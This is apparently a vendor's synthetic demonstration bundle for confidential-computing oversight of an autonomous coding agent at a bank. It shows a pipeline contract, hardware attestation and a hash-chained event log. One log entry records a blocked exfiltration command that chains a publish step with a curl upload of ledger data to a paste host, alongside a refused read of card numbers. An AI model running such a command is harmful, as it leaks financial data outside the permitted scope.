COMPEX / SECTOR EVIDENCE SUMMARY

Banking & Fintech

A synthetic demonstration bundle showing the exact evidence shape a production Compex run exports: signed contract, hardware attestation and an ordered hash chain of every allowed and blocked operation.

BUNDLE	CONTRACT	ATTESTATION
EV-FIN-2026-11-001	PC-FIN-2026-11	Intel TDX

Pipeline Contract

Purpose	Autonomous coding agent + AML feature scoring
Data owner	Engineering / Financial Crime
Reviewer	CISO / DPO
Allowed columns	repo_path, git_diff, ledger_velocity_30d, merchant_category, anonymized_counterparty_id
Blocked columns	raw_cardholder_pan, customer_iban, raw_ledger_rows
Command allow-list	grep, git diff, run_unit_tests, score_aml_features
Output limit	patch + test_report + aml_risk_score
Retention	0 days raw; patch retained 30 days

contract_hash

```
c6e3e053174a86018125e1b6eab56a3867753773f73407dd64d5b1aecf3a33e2
```

Hardware attestation

TEE type	Intel TDX
Verification	TDX quote verified against the Intel root chain | report_data binds the contract hash and workload digest

tee_attestation_quote


```
Hu/sHwCMV5NDW3E6EmjbCoorL5VkTcYMv5jEc8eSxpke7+wfAIxXk0NbcToSaNsKiisvlWRNxgy/mMRzx5LGmQ==
```


Deployment profiles

LAYER	CLOUD CONFIDENTIAL VPC	ON-PREMISE / AIR-GAPPED
Data lives in	The bank's existing cloud VPC or a dedicated confidential tenancy.	Sovereign bare-metal racks in the bank's datacenter, behind the physical firewall.
TEE hardware	AWS Nitro Enclaves; Azure/GCP Confidential VMs on AMD SEV-SNP or Intel TDX; NVIDIA H100 confidential GPUs.	Bare-metal AMD EPYC (SEV-SNP), Intel Xeon (TDX) and NVIDIA B200/H100 GPU TEEs over encrypted PCIe.
Locked out	Cloud provider admins, the host OS/hypervisor and the external AI vendor.	Internal root sysadmins, hypervisor operators and third-party model/agent developers.
Egress	VPC-peered zero-egress subnet; the attestation quote must match the contract before keys are released.	Strictly air-gapped: 0.0.0.0 outbound blocked. The local verifier checks the silicon signature offline.

Evidence bundle

Execution hash chain

Every permitted read and every refused operation is written in order. The chain head is signed by the TEE.

SEQ	TYPE	EVENT	SHA-256
001	CONTRACT	Pipeline Contract PC-FIN-2026-11 verified against the CISO/DPO signature.	a34f3d2c4863378d79e9...
002	ATTEST	Intel TDX quote verified; report_data binds the contract hash.	6a110a1d6f4973fdc8e5...
003	READ	Allow-listed read: repo_path, git_diff, ledger_velocity_30d, merchant_category, anonymized_counterparty_id.	c261efa9f23c1c35018f...
004	OUTPUT	Signed output released: patch, test_report and aml_risk_score only.	659c7cc1b44b0400d929...
005	BLOCKED	Out-of-scope read refused: raw_cardholder_pan.	a26d0a570d3d4ea8984a...
006	BLOCKED	Egress blocked: gradle publish && curl https://paste.example/ledger.	5b9abdb2de7f4d7af853...
007	SEALED	Evidence bundle sealed; hash chain head signed by the TEE.	59f1f8760762561fbcb7...

Files in this bundle

FILE	SIZE	SHA-256 (synthetic)
evidence.json	4 KB	3c7c6e9a4d229d674e8b0fc6bf2d916c2d48...
summary.pdf	7 KB	4a2ff9bd280c314f299f48aff8ca88ae2b7c...
audit.csv	1 KB	05621e78c695eab864a696c236c0c0a4d02d...

Synthetic demonstration bundle. No customer data is included. Compex produces technical evidence of how a workload executed; legal conclusions are yours.